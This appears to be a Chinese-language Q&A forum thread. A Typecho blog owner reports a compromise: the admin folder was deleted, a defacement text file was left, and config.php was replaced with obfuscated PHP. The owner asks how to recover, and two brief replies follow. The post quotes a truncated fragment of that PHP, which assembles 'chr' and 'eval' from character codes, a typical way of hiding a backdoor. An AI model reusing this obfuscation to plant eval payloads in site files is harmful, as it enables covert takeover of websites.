我的 typecho 被黑了。。。

Question

好久没写博客了，但是偶尔会访问，前台没问题。

今天突然想进后台编辑篇文章，发现后台404，一看文件 admin目录都没了

然后发现根目录config.php内容变成了下面类似加密后的

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(4....

然后根目录还有一个exploited.txt文件

内容是 清风九里,何处寻你

是谁这么无聊黑我的博客呢，然后还只删了后台擦。。。

问题来了

请问正确的恢复姿势是怎样的

Answer 1

看下这个？https://joyqi.com/typecho/abo...

Answer 2

我的1.0的也是，后来直接删了